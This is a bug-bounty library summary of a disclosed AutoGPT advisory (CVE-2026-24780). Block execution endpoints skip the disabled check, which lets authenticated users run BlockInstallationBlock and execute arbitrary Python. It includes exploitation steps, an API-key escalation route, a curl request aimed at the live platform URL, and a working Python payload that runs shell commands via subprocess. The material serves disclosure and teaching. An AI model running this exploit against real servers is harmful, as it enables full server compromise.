# AutoGPT is Vulnerable to RCE via Disabled Block Execution

AutoGPT block execution endpoints ignore the disabled flag, letting any authenticated user run the disabled BlockInstallationBlock to write and import arbitrary Python, achieving RCE.

- Payout: Research
- Severity: high
- Program: AutoGPT
- Found by: rahulgovind
- Disclosed: 2026-01-29
- CVE: CVE-2026-24780
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-r277-3xc5-c79v
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-r277-3xc5-c79v
- Tags: area:web domain:api domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:access-control vuln:auth-bypass vuln:rce

**Target:** AutoGPT Platform backend block execution API (web and external)
**Root cause:** Block execution endpoints fetch blocks by UUID and call execute() without checking the block's disabled flag, while listing endpoints correctly filter disabled blocks. The disabled BlockInstallationBlock writes attacker-supplied Python to disk and imports it.
**Steps:**
1. Authenticate (self-register if signup enabled, else use existing account).
2. POST to `/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute` with `{"code": "<PAYLOAD>"}` and session cookie.
3. Payload defines a Block subclass whose run() calls `subprocess.check_output(input_data.cmd, shell=True)`.
4. Server writes code to `backend/blocks/` and executes via `__import__()`, yielding command output.
5. Alternative: mint API key with EXECUTE_BLOCK via `POST /api-keys`, then call `POST /external-api/v1/blocks/{id}/execute`.
**How found:** Noticed the disabled flag is documented as preventing execution and enforced in block listing (`if not b.disabled`) but absent in the execute handlers; found the disabled BlockInstallationBlock with a hardcoded public UUID that writes and imports code.
**Exploitation:** Any authenticated user submits Python source to the disabled BlockInstallationBlock's hardcoded public UUID via the execute endpoint; the server writes it to the blocks directory and imports it, running arbitrary code as the backend process for full server compromise.
**Escalation:** Low-privilege user mints an API key with arbitrary permissions (EXECUTE_BLOCK) via the main API to reach the external execution route, bypassing API-key permission gating.
**Insight:** When a 'disabled'/'hidden' flag is enforced in list endpoints, check every other endpoint that resolves the same object by ID — execution, detail, and update routes often skip the filter. Also grep for blocks/plugins self-documented as dev-only RCE and confirm whether their UUID is reachable.

## Proof of concept (copied exactly from the original report)

**curl request executing disabled block with payload**

```
curl -X POST "https://platform.autogpt.app/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute" \
  -H "Cookie: session=<your_session_cookie>" \
  -H "Content-Type: application/json" \
  -d '{"code": "<PAYLOAD>"}'
```

**Malicious RCE block Python payload**

```
PAYLOAD = '''
import os
from backend.data.block import Block, BlockOutput, BlockSchemaInput, BlockSchemaOutput
from backend.data.model import SchemaField

class RCEBlock(Block):
    class Input(BlockSchemaInput):
        cmd: str = SchemaField(description="Command")
    class Output(BlockSchemaOutput):
        result: str = SchemaField(description="Result")

    def __init__(self):
        super().__init__(
            id="aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
            description="RCE",
            input_schema=self.Input,
            output_schema=self.Output,
        )

    async def run(self, input_data, **kwargs):
        import subprocess
        result = subprocess.check_output(input_data.cmd, shell=True).decode()
        yield "result", result
'''
```

